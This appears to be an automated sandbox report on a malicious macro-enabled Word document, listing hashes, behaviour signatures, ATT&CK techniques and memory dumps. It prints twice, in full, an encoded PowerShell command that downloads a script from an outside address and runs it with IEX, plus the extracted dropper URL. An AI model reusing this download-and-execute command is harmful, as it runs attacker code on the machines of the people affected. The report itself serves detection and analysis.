7714602b44e30e482f50789f308caf60998c93d667ada525934f104ec4bbf8a1

General

Target

c82717259c368b69cb64572e74042c02.docm
Size

16KB
MD5

c82717259c368b69cb64572e74042c02
SHA1

2fc0ceb46caa5529bf3c7bce4c11793e1bfa45d3
SHA256

5636b00a5c350d5f80d7654e256302f5c58b0d899fa800e8ff47ceb30b796732
SHA512

af326ce518d9ec7a474cec903048e99d05608bfc4fe4966924c046773e43b6d5375742670fd241113e5f838710cb3595080e7cd6b61adec51d23f9f82b9f70e6
SSDEEP

384:/iutbydI+IQLQDZaNxt/ZtNNsstAWObKo1n9EA:/XEIKCGxllNsstobKo19z

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://192.168.45.161/meter.ps1

Signatures

Process spawned unexpected child process 2 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powershell.exepowershell.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	4048	3040	powershell.exe	WINWORD.EXE
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	1232	3040	powershell.exe	WINWORD.EXE

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

3040 WINWORD.EXE
3040 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

powershell.exepowershell.exe

pid process

4048 powershell.exe
4048 powershell.exe
1232 powershell.exe
1232 powershell.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exepowershell.exe

description pid process

Token: SeDebugPrivilege 4048 powershell.exe
Token: SeDebugPrivilege 1232 powershell.exe
Suspicious use of SetWindowsHookEx 7 IoCs

Processes:

WINWORD.EXE

pid process

3040 WINWORD.EXE
3040 WINWORD.EXE
3040 WINWORD.EXE
3040 WINWORD.EXE
3040 WINWORD.EXE
3040 WINWORD.EXE
3040 WINWORD.EXE

pid	process
3040	WINWORD.EXE
3040	WINWORD.EXE

pid	process
4048	powershell.exe
4048	powershell.exe
1232	powershell.exe
1232	powershell.exe

description	pid	process
Token: SeDebugPrivilege	4048	powershell.exe
Token: SeDebugPrivilege	1232	powershell.exe

pid	process
3040	WINWORD.EXE
3040	WINWORD.EXE
3040	WINWORD.EXE
3040	WINWORD.EXE
3040	WINWORD.EXE
3040	WINWORD.EXE
3040	WINWORD.EXE

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

WINWORD.EXE

description	pid	process	target process
PID 3040 wrote to memory of 4048	3040	WINWORD.EXE	powershell.exe
PID 3040 wrote to memory of 4048	3040	WINWORD.EXE	powershell.exe
PID 3040 wrote to memory of 1232	3040	WINWORD.EXE	powershell.exe
PID 3040 wrote to memory of 1232	3040	WINWORD.EXE	powershell.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\c82717259c368b69cb64572e74042c02.docm" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3040

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -enc KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADQANQAuADEANgAxAC8AbQBlAHQAZQByAC4AcABzADEAJwApACAAfAAgAEkARQBYAA==
2⤵
- Process spawned unexpected child process
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4048

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -enc KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADQANQAuADEANgAxAC8AbQBlAHQAZQByAC4AcABzADEAJwApACAAfAAgAEkARQBYAA==
2⤵
- Process spawned unexpected child process
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1232

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize
2KB

MD5
2f57fde6b33e89a63cf0dfdd6e60a351

SHA1
445bf1b07223a04f8a159581a3d37d630273010f

SHA256
3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55

SHA512
42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
1KB

MD5
b66db53846de4860ca72a3e59b38c544

SHA1
2202dc88e9cddea92df4f4e8d83930efd98c9c5a

SHA256
b1a00fcea37b39a5556eea46e50711f7713b72be077a73cb16515ca3538d6030

SHA512
72eff4ae1d541c4438d3cd85d2c1a8c933744b74c7a2a4830ffe398fee88f1a8c5b241d23e94bcdf43b4be28c2747b331a280a7dc67ab67d8e72c6569f016527

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_low1zmrx.or3.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1232-218-0x000001C1EEF40000-0x000001C1EEF50000-memory.dmp

Filesize
64KB

Download
memory/1232-217-0x000001C1EEF40000-0x000001C1EEF50000-memory.dmp

Filesize
64KB

Download
memory/1232-216-0x000001C1EEF40000-0x000001C1EEF50000-memory.dmp

Filesize
64KB

Download
memory/1232-213-0x000001C1EEF40000-0x000001C1EEF50000-memory.dmp

Filesize
64KB

Download
memory/1232-211-0x000001C1EEF40000-0x000001C1EEF50000-memory.dmp

Filesize
64KB

Download
memory/1232-210-0x000001C1EEF40000-0x000001C1EEF50000-memory.dmp

Filesize
64KB

Download
memory/3040-139-0x00007FFEB6C60000-0x00007FFEB6C70000-memory.dmp

Filesize
64KB

Download
memory/3040-134-0x00007FFEB8CF0000-0x00007FFEB8D00000-memory.dmp

Filesize
64KB

Download
memory/3040-239-0x00007FFEB8CF0000-0x00007FFEB8D00000-memory.dmp

Filesize
64KB

Download
memory/3040-238-0x00007FFEB8CF0000-0x00007FFEB8D00000-memory.dmp

Filesize
64KB

Download
memory/3040-237-0x00007FFEB8CF0000-0x00007FFEB8D00000-memory.dmp

Filesize
64KB

Download
memory/3040-236-0x00007FFEB8CF0000-0x00007FFEB8D00000-memory.dmp

Filesize
64KB

Download
memory/3040-135-0x00007FFEB8CF0000-0x00007FFEB8D00000-memory.dmp

Filesize
64KB

Download
memory/3040-136-0x00007FFEB8CF0000-0x00007FFEB8D00000-memory.dmp

Filesize
64KB

Download
memory/3040-133-0x00007FFEB8CF0000-0x00007FFEB8D00000-memory.dmp

Filesize
64KB

Download
memory/3040-138-0x00007FFEB6C60000-0x00007FFEB6C70000-memory.dmp

Filesize
64KB

Download
memory/3040-137-0x00007FFEB8CF0000-0x00007FFEB8D00000-memory.dmp

Filesize
64KB

Download
memory/4048-180-0x000001FDBC7C0000-0x000001FDBC7E2000-memory.dmp

Filesize
136KB

Download
memory/4048-190-0x000001FDA45F0000-0x000001FDA4600000-memory.dmp

Filesize
64KB

Download
memory/4048-191-0x000001FDA45F0000-0x000001FDA4600000-memory.dmp

Filesize
64KB

Download
memory/4048-195-0x000001FDA45F0000-0x000001FDA4600000-memory.dmp

Filesize
64KB

Download
memory/4048-194-0x000001FDA45F0000-0x000001FDA4600000-memory.dmp

Filesize
64KB

Download
memory/4048-193-0x000001FDA45F0000-0x000001FDA4600000-memory.dmp

Filesize
64KB

Download
memory/4048-192-0x000001FDA45F0000-0x000001FDA4600000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads